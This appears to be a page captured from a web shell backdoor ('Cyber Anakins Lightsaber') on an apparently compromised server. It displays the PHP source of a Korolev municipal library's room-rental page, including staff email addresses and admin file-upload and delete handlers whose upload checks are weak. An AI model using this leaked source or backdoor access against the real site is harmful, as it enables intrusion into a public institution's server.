Cyber Anakins Lightsaber - A Minishell-based backdoor

Current Path : /home/bjb2293782/xn--80abaeoqbbrbgf8aea5a2a2z.xn--p1ai/docs/
Upload File :
Current File : /home/bjb2293782/xn--80abaeoqbbrbgf8aea5a2a2z.xn--p1ai/docs/premises.php

<?php
require("design.php");
require("contacts.php");

//define("REQUEST_EMAIL","main@dynsoft.ru");
define("REQUEST_EMAIL","cbs-korolev@yandex.ru");

define("IS_UTF8", true);

function UTF8ToFile($file)
{
	if (!IS_UTF8) return UTF8ToWin1251($file); else return $file;
}

function FileToUTF8($file)
{
	if (!IS_UTF8) return Win1251ToUTF8($file); else return $file;	
}

session_start();


function delTree($dir)
{ 
    $files = array_diff(scandir($dir), array('.', '..')); 

    foreach ($files as $file)
    { 
       if (is_dir("$dir/$file")) delTree("$dir/$file"); else unlink("$dir/$file"); 
    }

    return rmdir($dir); 
} 


if (isset($_POST['action']))
{
	if ($_POST['action'] == "request")
	{
		$name = _POST_('name');
		$company = _POST_('company');
		$INN = _POST_('INN');
		$email = _POST_('email');
		$phone = _POST_('phone');
		$desc = _POST_('desc');
		$target = _POST_('target');
		$filial = _POST_('filial');
		$address = _POST_('address');
		$date = _POST_('date');
		$number = _POST_('number');

		if (strlen($name) < 3) die("ERROR: Введите имя!");
		if (strlen($company)<3) die("ERROR: Введите название организации или наименование ИП!");
		if (strlen($INN) < 10) die("ERROR: Введите ИНН!");
		if (strlen($email) < 3) die("ERROR: Введите e-mail!");
		if (strlen($number) < 1) die("ERROR: Введите номер помещения согласно плану помещения!");
		if (strlen($date) < 3) die("ERROR: Укажите даты и время использования помещения");


		require_once("mails.php");


		$body = "<html><body>\n";
		$body.= "<h1>Заявка на предоставление помещения</h1>\n";

		$body.="<table>\n";
		$body.="<tr><td align=right nowrap>Заявитель:</td><td><b>"._html_($name)."</b></td></tr>\n";
		$body.="<tr><td align=right nowrap>Организация или ИП:</td><td><b>"._html_($company)."</b></td></tr>\n";
		$body.="<tr><td align=right nowrap>ИНН:</td><td><b>"._html_($INN)."</b></td></tr>\n";
		$body.="<tr><td align=right nowrap>e-mail:</td><td><a href='mailto:"._html_($email)."'>"._html_($email)."</a></td></tr>\n";
		$body.="<tr><td align=right nowrap>Телефон:</td><td><b>"._html_($phone)."</b></td></tr>\n";
		$body.="<tr><td align=right nowrap>Наименование библиотеки:</td><td><b>"._html_($filial)."</b></td></tr>\n";
		$body.="<tr><td align=right nowrap>Номер помещения:</td><td><b>"._html_($number)."</b></td></tr>\n";
		$body.="<tr><td align=right nowrap>Дата и время:</td><td><b>"._html_($date)."</b></td></tr>\n";
		$body.="<tr><td align=right nowrap valign=top>Цели использования помещения:</td><td><b>"._html_br_($target)."</b></td></tr>\n";
		$body.="<tr><td align=right nowrap valign=top>Комментарий:</td><td><b>"._html_br_($desc)."</b></td></tr>\n";
		$body.="</table>\n";

		$body.="</body></html>";


		SendMailTo(REQUEST_EMAIL, MY_EMAIL, "Заявка на предоставление помещения", $body, 1);
		SendMailTo("biblioteka.filial14@yandex.ru", MY_EMAIL, "Заявка на предоставление помещения", $body, 1);
		SendMailTo("metod-cbs-korolev@yandex.ru", MY_EMAIL, "Заявка на предоставление помещения", $body, 1);


		die("OK");
	}



	if (!AdminAuth(RIGHT_SUPER_ADMIN)) die("ERROR: Доступ закрыт!");


	if ($_POST['action'] == "mkdir")
	{
		$path = _POST_('path');
		$name = trim(_POST_('name'));

		if ($name == '') die("ERROR: Введите название папки!");
		if (!preg_match("|^premises|", $path) || preg_match("|/\.\.|", $path)) die("ERROR: Неверный путь!");

		$path = UTF8ToFile($path);
		$name = UTF8ToFile($name);

		if (preg_match("|\|/\\\\*\?|", $name)) die("ERROR: Запрещённые символы в названии папки!");

		

		$fullPath = "$path/$name";
		if (!@mkdir($fullPath)) die("ERROR: Не удалось создать папку `$fullPath`!");
		@chmod("$fullPath",0666);

		die("OK");
	}

	if ($_POST['action'] == "renamedir")
	{
		$path = _POST_('oldName');
		$name = _POST_('newName');

		if ($name == '') die("ERROR: Введите название папки!");
		if (!preg_match("|^premises|", $path) || preg_match("|/\.\.|", $path)) die("ERROR: Неверный путь!");

		$path = UTF8ToFile($path);
		$name = UTF8ToFile($name);

		if (preg_match("|\|/\\\\*\?|", $name)) die("ERROR: Запрещённые символы в названии папки!");
        
		if (!preg_match("|^(.*/)[^/]+$|", $path,$g)) die("ERROR: Не удалось разобрать путь!");

		$newName = $g[1] . $name;
		if (!@rename($path, $newName)) die("ERROR: Не удалось переименовать папку!");
		die("OK");
	}


	if ($_POST['action'] == "rename")
	{
		$path = _POST_('oldName');
		$name = _POST_('newName');

		if ($name == '') die("ERROR: Введите название папки!");
		if (!preg_match("|^premises|", $path) || preg_match("|/\.\.|", $path)) die("ERROR: Неверный путь!");
		if (preg_match("|\|/\\\\*\?|", $name)) die("ERROR: Запрещённые символы в названии файла!");
        
		if (!preg_match("|^(.*/)[^/]+$|", $path,$g)) die("ERROR: Не удалось разобрать путь!");
		$newName = $g[1] . $name;

		$path = UTF8ToFile($path);
		$newName = UTF8ToFile($newName);


		if (!@rename($path, $newName)) die("ERROR: Не удалось переименовать файл!");
		die("OK");
	}


	if ($_POST['action'] == "rmdir")
	{
		$path = _POST_('path');

		if (!preg_match("|^premises|", $path) || preg_match("|/\.\.|", $path)) die("ERROR: Неверный путь!");

		$path = UTF8ToFile($path);

		delTree($path);

		die("OK");
	}

	if ($_POST['action'] == "rm")
	{
		$path = _POST_('path');

		if (!preg_match("|^premises|", $path) || preg_match("|/\.\.|", $path)) die("ERROR: Неверный путь!");

		$path1251 = UTF8ToFile($path);

		if (!@unlink($path1251)) die("ERROR: Не удалось удалить файл $path");

		die("OK");

	}

	if ($_POST['action'] == "upload")
	{
		$path = _POST_('path');
		if (!preg_match("|^premises|", $path) || preg_match("|/\.\.|", $path)) die("ERROR: Неверный путь!");

        for($i=0; $i < count($_FILES['files']['name']); $i++)
        {
        	$fileName = $_FILES['files']['name'][$i];
        	if (preg_match("/(\/[^\/]+)$/",$fileName, $g)) $fileName = $g[1];
        	$fileName = preg_replace("/\.\./m","--",$fileName);

        	$fileName = preg_replace("/\\\/m","-",$fileName);
        	$fileName = preg_replace("/\*\?\|\+/m"," ",$fileName);

        	$fullFileNameUTF8 = "$path/$fileName";

        	$fullFileName = UTF8ToFile($fullFileNameUTF8);

			if (move_uploaded_file($_FILES['files']['tmp_name'][$i], $fullFileName))
			{
				//chmod($fullFileName, 0666);
			}
			else
				die("ERROR: Не удалось залить файл `$fullFileNameUTF8`!");
		}

		die("OK");
	}











	die("ERROR: Неверный запрос!");
}





TOP(-1);


LEFTCOLUMN();
CHANNELS();
MAINCOLUMN();
?>


<h1>Предоставление помещений</h1>

<style>
.doc
{
	margin-top:4px;
	margin-bottom:4px;
	text-indent:-22;
	margin-left:20;
}

.plus
{
	border:1px solid #6699CC;
	padding:2 2 2 2;
	cursor:pointer;
	border-radius:3px;
}

table.folder
{
	cursor:pointer;
}

table.folder:hover
{
	transition-property: background-color;
    transition-duration: 500ms;	
    background-color:#cceeff;
}

td.folder
{
	font-size:22px;
	color:#336699;
	font-weight:bold;
}

table.filedoc
{
	cursor:pointer;
	margin-bottom:5px;
}

td.filedoc
{
	font-size:16px;
}	


</style>


<h2>Помещения, предоставляемые в аренду</h2>

<h3>Библиотека №5 «Библиотеке семейного чтения и досуга им. С.Я. Маршака»</h3>
<ul>
	<li><a href='roomdesc5.php'>Описание пространства</a></li>
	<li><a href='127_25_М_1_отчет_Королев_библиотеки_Тихонравова_32а_скан.pdf' target=_blank>Определение рыночной стоимости</a></li>
	<li><a href='Приказ аренда биб 5.jpg' target=_blank>Приказ об определении стоимости одного квадратного метра для сдачи в аренду помещений библиотеки-филиала №5</a></li> 
	<li><a href='agreement5.pdf' target=_blank>Распоряжение администрации города о согласии на передачу в аренду мунициального имущества</a></li>
	<li><a href='plan5.pdf' target=_blank>План сдаваемых в аренду помещений</a></li>
</ul>


<h3>Библиотека №8</h3>
<ul>
	<li><a href='desc8.docx'>Описание пространства</a></li>
	<li><a href='price8.pdf' target=_blank>Определение рыночной стоимости</a></li>
	<li><a href='order8.pdf' target=_blank>Приказ об определении стоимости одного квадратного метра для сдачи в аренду помещений библиотеки-филиала №8</a></li>
	<li><a href='plane8.jpg' target=_blank>План сдаваемых в аренду помещений</a></li>
</ul>




<h3>Библиотека №12</h3>
<ul>
	<li><a href='roomdesc12.php'>Описание пространства</a></li>
	<li><a href='127_25_М_3_отчет_Королев_библиотеки_Кирова_5_скан.pdf' target=_blank>Определение рыночной стоимости</a></li>
	<li><a href='Приказ аренда биб 12.jpg' target=_blank>Приказ об определении стоимости одного квадратного метра для сдачи в аренду помещений библиотеки-филиала №12</a></li>
	<li><a href='plan12.png' target=_blank>План сдаваемых в аренду помещений</a></li>
</ul>


<h3>Библиотека №14</h3>
<ul>
	<li><a href='roomdesc.php'>Описание пространства</a></li>
	<li><a href='127_25_М_2_отчет_Королев_библиотеки_Тарасовская_9_скан.pdf' target=_blank>Определение рыночной стоимости</a></li>
	<li><a href='Приказ аренда биб 14.jpg' target=_blank>Приказ об определении стоимости одного квадратного метра для сдачи в аренду помещений библиотеки-филиала №14</a></li>
</ul>








<h2>Условия предоставления помещения</h2>
<ul>
	<li><a href='arenda.php'>КРАТКОСРОЧНАЯ АРЕНДА ПРОСТРАНСТВ МУНИЦИПАЛЬНОГО БЮДЖЕТНОГО УЧРЕЖДЕНИЯ КУЛЬТУРЫ ГОРОДСКОГО ОКРУГА КОРОЛЁВ МОСКОВСКОЙ ОБЛАСТИ «ЦЕНТРАЛИЗОВАННАЯ БИБЛИОТЕЧНАЯ СИСТЕМА». Правила и ограничения</a></li>
	<li><a href='roomfaq.php'>Вопросы и ответы о предоставлении помещения</a></li>
</ul>



<?php

$GLOBALS['fileEnum'] = 0;
function DocList($subpath)
{
	$canEdit = AdminAuth(RIGHT_SUPER_ADMIN);
	$dir = @opendir("premises$subpath");
	if ($dir)
	{
		while($file = readdir($dir))
		{
			if ($file!="." && $file!="..")
			{
				$fullPath = "premises$subpath/$file";
				if (is_dir($fullPath))
				{
					$fileEnum = $GLOBALS['fileEnum'];
					$utf8=FileToUTF8($file);
					$fullPathUTF8 = FileToUTF8("premises$subpath/$file");


					$plus = 'plus.gif';
					$display = 'display:none';

					if (isset($_GET['dir']))
					{
						if ($_GET['dir']==$fullPathUTF8)
						{
							print "<a name=a></a>";
							$plus = 'minus.gif';
							$display='';
						}
					}

					print "<table class=folder id=folderElm$fileEnum><tr>";
					print "<td onclick='folderClick($fileEnum)'><img src='$plus' class=plus id=plus$fileEnum></td>";
					print "<td onclick='folderClick($fileEnum)'><img src='folder24x24.png' width=24 height=24></td>";
					print "<td onclick='folderClick($fileEnum)' class=folder id=folder$fileEnum>$utf8</td>";

					if ($canEdit)
					{
						print "<td nowrap>";
						print "<img src='edit.png' title='Переименовать' class=editBtn2 onclick='renameFolder($fileEnum, \"$fullPathUTF8\")'>";
						print "<img src='del32x32.png' title='Удалить' class=editBtn2 onclick='delFolder($fileEnum, \"$fullPathUTF8\")'>";
						print "</td>";
					}
					print "</tr></table>\n";
					print "<div style='padding-left:32px; $display' id=inner$fileEnum>\n";
					$GLOBALS['fileEnum']++;

					DocList("$subpath/$file");


					print "\n</div>\n";
				}
			}	
		}
		closedir($dir);
	}

	$dir = @opendir("premises$subpath");
	if ($dir)
	{
		while($file = readdir($dir))
		{
			if ($file!="." && $file!="..")
			{
				$fullPath = "premises$subpath/$file";
				if (!is_dir($fullPath))
				{
					$utf8=FileToUTF8($file);
					$fullPathUTF8 = FileToUTF8("premises$subpath/$file");

					$fileEnum = $GLOBALS['fileEnum'];
					print "<table class=filedoc id='fileElm$fileEnum'><tr>";
					print "<td><a href='$fullPathUTF8' target=_blank id=docIcon$fileEnum><img src='doc.png' width=16 height=16></a></td>";
					print "<td class=filedoc><a href='$fullPathUTF8' data-href='$fullPathUTF8' target=_blank title='Открыть' id=doc$fileEnum>$utf8</a></td>";

					print "<td nowrap>";
					print "<a href='$fullPathUTF8' download='$utf8' title='Скачать' id='download$fileEnum'><img src='download.png' class=editBtn2></a>";
					print "</td>";

					if ($canEdit)
					{
						print "<td nowrap>";
						print "<img src='edit.png' title='Переименовать файл' class=editBtn2 onclick='renameFile($fileEnum)'>";
						print "<img src='del32x32.png' title='Удалить файл' class=editBtn2 onclick='delFile($fileEnum)'>";
						print "</td>";
					}
					
					print "</tr></table>\n";
					$GLOBALS['fileEnum']++;
				}
			}	
		}
		closedir($dir);
	}

	$subpath = FileToUTF8($subpath);
	if ($canEdit) print "<center style='margin-top:10; margin-bottom:20'>[ <a href='#' onclick='addFile(\"premises$subpath\");return false'>Добавить файл</a> ] [ <a href='#' onclick='addFolder(\"premises$subpath\");return false'>Новая папка</a> ]</center>\n";
}

DocList("");

?>

<h2>Подать заявку на предоставление помещения</h2>

<form name='mainForm' onsubmit='doSendForm(this, event)'>
<div style='border:1px solid #cccccc; border-radius:10px; padding:20 20 20 20'>

<table width=100% cellpadding=5>
<tr>
	<td nowrap width=1% align=right>Ф.И.О. заявителя <font color=red>*</font>:</td>
	<td width=99%><input type='text' name='name' style='width:100%'></td>
</tr>
<tr>
	<td nowrap width=1% align=right>Название организации или ИП<font color=red>*</font>:</td>
	<td width=99%><input type='text' name='company' style='width:100%'></td>
</tr>
<tr>
	<td nowrap width=1% align=right>ИНН <font color=red>*</font>:</td>
	<td width=99%><input type='text' name='INN' style='width:150' maxlength=12></td>
</tr>
<tr>
	<td nowrap width=1% align=right>e-mail <font color=red>*</font>:</td>
	<td width=99%><input type='email' name='email' style='width:100%'></td>
</tr>

<tr>
	<td nowrap width=1% align=right>Телефон:</td>
	<td width=99%><input type='tel' name='phone' style='width:200'></td>
</tr>

<tr>
	<td nowrap width=1% align=right>Наименование библиотеки:</td>
	<td width=99%><select name='filial' style='width:100%' onchange='doSelectFilial()'>
		<?php
			foreach($GLOBALS['filials'] as $key=>$value)
			{
				if ($key==-1 || $key==100) continue;
				if (strpos($value, "5") !=false ||
					strpos($value, "8") !=false ||
					strpos($value, "12") !=false ||
					strpos($value, "14") !=false)
					{
						$address = $GLOBALS['filialContacts'][$key]['address'];
						print "<option data-address='$address'>"._html_($value)."</option>\n";
					}
			}
		?></select>
	</td>
</tr>

<tr>
	<td nowrap width=1% align=right>Адрес:</td>
	<td width=99%><input readonly name='address' style='width:100%; background-color:#e0e0e0'>
	
	<script>
		function doSelectFilial()
		{
			var comboBox = document.forms['mainForm'].elements['filial'];
			var address = comboBox.options[comboBox.selectedIndex].dataset.address;
			document.forms['mainForm'].elements['address'].value = address;
		}
		doSelectFilial();
	</script>
	
	</td>
</tr>
<tr>
	<td nowrap width=1% align=right>Номер помещения:</td>
	<td width=99%><input name='number' style='width:100'></td>
</tr>

<tr>
	<td nowrap width=1% align=right>Дата (даты) и время:</td>
	<td width=99%><input name='date' style='width:100%'></td>
</tr>

<tr>
	<td nowrap width=1% align=right>Цель использования помещения:</td>
	<td width=99%><select name='target'>
	
<option>Беседа, дискуссия</option>
<option>Благотворительный вечер, благотворительная акция</option>
<option>Вебинар</option>
<option>Встреча</option>
<option>Выставка</option>
<option>Игровое мероприятие; квест, викторина</option>
<option>Кино-, видео-, анимационный показ</option>
<option>Конкурс</option>
<option>Конференция</option>
<option>Круглый стол</option>
<option>Лекция</option>
<option>Литературные чтения</option>
<option>Мастер-класс, консультация</option>
<option>Музыкально-литературный вечер</option>
<option>Музыкальный лекторий</option>
<option>Презентация</option>
<option>Семинар</option>
<option>Съемки (фото-, видео-, кино-, теле-)</option>
<option>Творческий вечер, тематический вечер</option>
<option>Тренинг</option>
<option>Утренник</option>
<option>Форум</option>
<option>Ярмарка (книжная, мастеров, народных художественных промыслов)</option>
	
	</select>
	</td>
</tr>



<tr>
	<td colspan=2>Комментарий:<br>
	<textarea rows=6 style='width:100%' name=desc></textarea></td>
</tr>

<tr>
	<td colspan=2><label><input type=checkbox onclick='document.getElementById("submit").disabled=!this.checked'> Даю согласие на обработку моих персональных данных согласно</label> <a href='personaldata.pdf' target=_blank>Политике обработки персональных данных</a></td>
</tr>
<tr>
	<td colspan=2 align=center>
		<input type=submit id=submit disabled value='Отправить заявку' style='padding:8 8 8 8'>
	</td>
</tr>
</table>

</div>
<center><font color=red>*</font> &#151; поля, обязательные для заполнения</center>
</form>




<script>

function checkInn(value)
{
	//первая цифра ИНН может быть нулём, поэтому он не может быть числом
	if(typeof value !== 'string'){
		console.error(`ИНН должен быть строкой. Получено: ${typeof value}`);
		return false;
	}
	
	//ИНН юрлиц - 10 символов, ИП - 12 символов
	if(value.length !== 10 && value.length !== 12){
		console.error(`Некорректная длинна ИНН: ${value.length}`);
		return false;
	}
	
	//преобразуем строку в массив цифр
	const arNumbers = value.split('');
	if(arNumbers.length === 0){
		console.error('Не удалось разобрать строку в массив символов');
		return false;
	}
	
	//проверим что у нас в массиве только цифры
	for(let symbol of arNumbers){
		if(isNaN(Number(symbol))){
			console.error(`Некорректный символ "${symbol}" в ИНН`);
			return false;
		}
	}
	
	//формула для юрлиц и ИП отличается
	if(arNumbers.length === 10){
		//переменная для итоговой суммы
		let checkSum;
		
		//каждую цифру мы умножаем на свой коэффициент
		//а потом получаем остаток от деления на 11 и на 10
		checkSum = ((
			2 * arNumbers[0] +
			4 * arNumbers[1] +
			10 * arNumbers[2] +
			3 * arNumbers[3] +
			5 * arNumbers[4] +
			9 * arNumbers[5] +
			4 * arNumbers[6] +
			6 * arNumbers[7] +
			8 * arNumbers[8]
		) % 11 ) % 10;
		
		//проверяем что десятый символ ИНН совпадает с контрольной суммой
		if(checkSum === Number(arNumbers[9])){
			return true;
		}else{
			console.error(
				`Контрольная сумма не совпала с десятым символом ${checkSum} != ${arNumbers[9]}`
			);
			return false;
		}
		
	//код для ИП
	}else if(arNumbers.length === 12){
		//в этом случае будет две контрольные суммы
		let checkSumOne, checkSumTwo;
		
		checkSumOne = ((
			7 * arNumbers[0] +
			2 * arNumbers[1] +
			4 * arNumbers[2] +
			10 * arNumbers[3] +
			3 * arNumbers[4] +
			5 * arNumbers[5] +
			9 * arNumbers[6] +
			4 * arNumbers[7] +
			6 * arNumbers[8] +
			8 * arNumbers[9]
		) % 11 ) % 10;
		
		checkSumTwo = ((
			3 * arNumbers[0] +
			7 * arNumbers[1] +
			2 * arNumbers[2] +
			4 * arNumbers[3] +
			10 * arNumbers[4] +
			3 * arNumbers[5] +
			5 * arNumbers[6] +
			9 * arNumbers[7] +
			4 * arNumbers[8] +
			6 * arNumbers[9] +
			8 * arNumbers[10]
		) % 11 ) % 10;
		
		//в этом случае мы проверяем 11 и 12 символы
		if(checkSumOne === Number(arNumbers[10]) &&
			checkSumTwo === Number(arNumbers[11]))
		{
			return true;
			
		}else if(checkSumOne !== Number(arNumbers[10])){
			console.error(
				`Первая контрольная сумма не совпала
с одиннадцатым символом ${checkSumOne} != ${arNumbers[10]}`
			);
			return false;
			
		}else if(checkSumTwo !== Number(arNumbers[11])){
			console.error(
				`Вторая контрольная сумма не совпала
с двенадцатым символом ${checkSumTwo} != ${arNumbers[11]}`
			);
			return false;
		}
	}
}

function validateEmail(email) 
{
  if (/^\w+([\.-]?\w+)*@\w+([\.-]?\w+)*(\.\w{2,3})+$/.test(email))
  {
    return true;
  }
  return false;
}

function doSendForm(form, e)
{
	if (e.preventDefault) e.preventDefault();

	var name = form.elements['name'].value.trim();
	if (name.length < 3)
	{
		errorBox("Введите имя заявителя!",function() { form.elements['name'].focus(); });
		return false;
	}

	var company = form.elements['company'].value.trim();
	if (name.length < 3)
	{
		errorBox("Введите название организации или наименование ИП!",function() { form.elements['company'].focus(); });
		return false;
	}

	var INN = form.elements['INN'].value.trim();
	if (!checkInn(INN))
	{
		errorBox("Неверно введен ИНН!",function() { form.elements['INN'].focus(); });
		return false;
	}

	var email = form.elements['email'].value.trim();
	if (!validateEmail(email))
	{
		errorBox("Неверно введен e-mail!",function() { form.elements['email'].focus(); });
		return false;
	}

	var phone = form.elements['phone'].value.trim();

	var desc = form.elements['desc'].value.trim();
	var filial = form.elements['filial'].options[form.elements['filial'].selectedIndex].innerHTML;
	var address = form.elements['address'].value;
	var target = form.elements['target'].options[form.elements['target'].selectedIndex].innerHTML;
	var number = form.elements['number'].value.trim();
	if (number=='')
	{
		errorBox("Введите номер помещения!",function() { form.elements['number'].focus(); });
		return false;
	}

	var date = form.elements['date'].value.trim();
	if (date=='')
	{
		errorBox("Укажите даты и время проведения мероприятия!",function() { form.elements['date'].focus(); });
		return false;
	}


	var post = 'action=request';
	post+='&name='+encodeURIComponent(name);
	post+='&company='+encodeURIComponent(company);
	post+='&INN='+encodeURIComponent(INN);
	post+='&email='+encodeURIComponent(email);
	post+='&phone='+encodeURIComponent(phone);
	post+='&desc='+encodeURIComponent(desc);
	post+='&target='+encodeURIComponent(target);
	post+='&filial='+encodeURIComponent(filial);
	post+='&address='+encodeURIComponent(address);
	post+='&number='+encodeURIComponent(number);
	post+='&date='+encodeURIComponent(date);

	document.getElementById("submit").disabled=true;


	sendXHR('premises.php',post,
		function(response)
		{
			location = "premisesok.php";
		},
		function(error)
		{
			document.getElementById("submit").disabled=false;
			errorBox(error);
		});	
		




	return false;
}



function folderClick(id)
{
	var inner = document.getElementById('inner'+id);
	var plus = document.getElementById('plus'+id);

	if (inner.style.display=="")
	{
		inner.style.display="none";
		plus.src="plus.gif";
	}
	else
	{
		inner.style.display="";
		plus.src="minus.gif";
	}	
}
</script>


<?php

$canEdit = AdminAuth(RIGHT_SUPER_ADMIN);
if ($canEdit) { ?>
<script>

function addFolder(subpath)
{
	var dlg = openDialogBox("Создать папку");

	dlg.innerElement.style.width=500;
	dlg.innerElement.style.height=100;
	dlg.innerElement.style.textAlign="left";

	var form = dlg.innerElement.appendChild(document.createElement('FORM'));
	form.innerHTML = "Введите название папки:<br>";
	var editor = form.appendChild(createInput('text'));
	editor.style.width="100%";
	
	var center = form.appendChild(document.createElement('CENTER'));
	center.style.paddingTop=16;
	var submitBtn = center.appendChild(createInput('submit'));
	submitBtn.value = "Создать";

	var btn = center.appendChild(createInput('button'));
	btn.value = "Закрыть";
	btn.onclick=function() { dlg.close(); }

	form.onsubmit = function(e)
	{
		if (e.preventDefault) e.preventDefault();

		var post = 'action=mkdir';
		post+='&path='+encodeURIComponent(subpath);
		post+='&name='+encodeURIComponent(editor.value.trim());

		submitBtn.disabled=true;

		sendXHR('premises.php',post,
			function()
			{
				location = "premises.php?dir="+encodeURIComponent(subpath+'/'+editor.value.trim())+'#a';
			},
			function(error)
			{
				submitBtn.disabled=false;
				errorBox(error);
			});	
		return false;
	};
	editor.focus();
	dlg.alignInScreenCenter();
}



function addFile(subpath)
{
	var dlg = openDialogBox("Создать папку");

	dlg.innerElement.style.width=500;
	dlg.innerElement.style.height=100;
	dlg.innerElement.style.textAlign="left";

	var form = dlg.innerElement.appendChild(document.createElement('FORM'));

	form.innerHTML = "Выберите файлы (или перетащите сюда):<br>";
	var fileEditor = form.appendChild(createInput('file'));
	fileEditor.name="files[]";
	fileEditor.accept=".pdf,.jpg,.jpeg,.png,.gif,.zip,.txt,.doc,.docx,.xls,.xlsx,.ppt,.pps,.pptx,.ppsx";
	fileEditor.multiple = true;
	fileEditor.style.width="100%";

	fileEditor.onchange = function()
	{
		doSubmit();
	}
	
	var center = form.appendChild(document.createElement('CENTER'));
	center.style.paddingTop=16;
	var submitBtn = center.appendChild(createInput('submit'));
	submitBtn.value = "Отправить";

	var btn = center.appendChild(createInput('button'));
	btn.value = "Закрыть";
	btn.onclick=function() { dlg.close(); }

	var doSubmit = function(e)
	{
		if (e && e.preventDefault) e.preventDefault();

		var formData = new FormData(form);
		formData.append('action','upload');
		formData.append('path',subpath);
		submitBtn.disabled=true;

		sendXHR('premises.php',formData,
			function()
			{
				location = 'premises.php?dir='+encodeURIComponent(subpath)+'#a';
				location.reload();
			},
			function(error)
			{
				submitBtn.disabled=false;
				errorBox(error);
			},40000);	
		return false;
	};

	form.onsubmit = doSubmit;
	dlg.alignInScreenCenter();
}


function renameFolder(n, oldName)
{
	var folderA = document.getElementById('folder'+n);
	var folderName = folderA.innerText.trim();

	var dlg = openDialogBox("Переименовать папку");

	dlg.innerElement.style.width=500;
	dlg.innerElement.style.height=100;
	dlg.innerElement.style.textAlign="left";

	var form = dlg.innerElement.appendChild(document.createElement('FORM'));
	form.innerHTML = "Введите новое название папки:<br>";
	var editor = form.appendChild(createInput('text'));
	editor.value=folderName;
	editor.style.width="100%";
	
	var center = form.appendChild(document.createElement('CENTER'));
	center.style.paddingTop=16;
	var submitBtn = center.appendChild(createInput('submit'))
	submitBtn.value = "Переименовать";

	var btn = center.appendChild(createInput('button'))
	btn.value = "Закрыть";
	btn.onclick=function() { dlg.close(); }

	form.onsubmit = function(e)
	{
		if (e.preventDefault) e.preventDefault();

		var post = 'action=renamedir';
		post+='&oldName='+encodeURIComponent(oldName);
		post+='&newName='+encodeURIComponent(editor.value.trim());

		submitBtn.disabled=true;

		sendXHR('premises.php',post,
			function()
			{
				var path = '';
				var g = oldName.match(/^(.*)\/[^\/]+$/);
				if (g) path = g[1];

				location = "premises.php?dir="+encodeURIComponent(path)+'#a';
			},
			function(error)
			{
				submitBtn.disabled=false;
				errorBox(error);
			});	
		return false;
	};
	editor.focus();
	dlg.alignInScreenCenter();
}


function renameFile(n)
{
	var fileA = document.getElementById('doc'+n);
	var oldName = fileA.dataset.href;
	var docName = fileA.innerText.trim();

	var dlg = openDialogBox("Переименовать файл");

	dlg.innerElement.style.width=500;
	dlg.innerElement.style.height=100;
	dlg.innerElement.style.textAlign="left";

	var form = dlg.innerElement.appendChild(document.createElement('FORM'));
	form.innerHTML = "Введите новое название файла:<br>";
	var editor = form.appendChild(createInput('text'));
	editor.style.width="100%";
	editor.value=docName;
	
	var center = form.appendChild(document.createElement('CENTER'));
	center.style.paddingTop=16;
	var submitBtn = center.appendChild(createInput('submit'))
	submitBtn.value = "Переименовать";

	var btn = center.appendChild(createInput('button'))
	btn.value = "Закрыть";
	btn.onclick=function() { dlg.close(); }

	form.onsubmit = function(e)
	{
		if (e.preventDefault) e.preventDefault();

		var newName = editor.value.trim();

		var oldExt = '';
		var newExt = '';
		var g = oldName.match(/\.([^\.]+)$/);
		if (g) oldExt = g[1].toLowerCase()

		g = newName.match(/\.([^\.]+)$/);
		if (g) newExt = g[1].toLowerCase();
		
		if (newExt!=oldExt)
		{
			newName+='.'+oldExt;
			editor.value=newName;
		}	
		


		var post = 'action=rename';
		post+='&oldName='+encodeURIComponent(oldName);
		post+='&newName='+encodeURIComponent(newName);

		submitBtn.disabled=true;

		sendXHR('premises.php',post,
			function()
			{
				var path = '';
				var g = oldName.match(/^(.*)\/[^\/]+$/);
				if (g) path = g[1];

				var fullName = path + '/'+newName;

				var downloadA = document.getElementById('download'+n);
				var iconA = document.getElementById('docIcon'+n);

				fileA.href=fullName;
				iconA.href=fullName;
				fileA.dataset.href=fullName;
				fileA.innerHTML = _html_(newName);
				downloadA.href=fullName;
				downloadA.download = newName;
				dlg.close();
			},
			function(error)
			{
				submitBtn.disabled=false;
				errorBox(error);
			});	
		return false;
	};
	editor.focus();
	dlg.alignInScreenCenter();
}


function delFile(n, oldName)
{
	var fileA = document.getElementById('doc'+n);
	var oldName = fileA.dataset.href;
	var docName = fileA.innerText.trim();

	yesNoDialog('Удалить файл "'+docName+'"?','Удаление файла',
		function()
		{
			sendXHR('premises.php','action=rm&path='+encodeURIComponent(oldName),
				function()
				{
					var elm = document.getElementById('fileElm'+n);
					elm.parentNode.removeChild(elm);
				},
				function(error)
				{
					errorBox(error);
				});	
		});
}


function delFolder(n, oldName)
{
	var fileA = document.getElementById('folder'+n);
	var docName = fileA.innerText.trim();

	yesNoDialog('Удалить папку "'+docName+'" и всё ее содержимое?','Удаление папки',
		function()
		{
			sendXHR('premises.php','action=rmdir&path='+encodeURIComponent(oldName),
				function()
				{
					var elm = document.getElementById('folderElm'+n);
					elm.parentNode.removeChild(elm);

					elm = document.getElementById('inner'+n);
					elm.parentNode.removeChild(elm);
				},
				function(error)
				{
					errorBox(error);
				});	
		});
}
</script>

<?php
}

MIDDLECOLUMN2();
print "<center><table><tr><td>";
ACTUALLINKS('actualLinksH');
print "</tr></td></table></center>";
FAQ();

MIDDLECOLUMN();
CHANNELS("channelBlockH");
RIGHTCOLUMN();

ACTUALLINKS();
FAQ();

?>




<?php BOTTOM(); ?>

May the force be with you, always.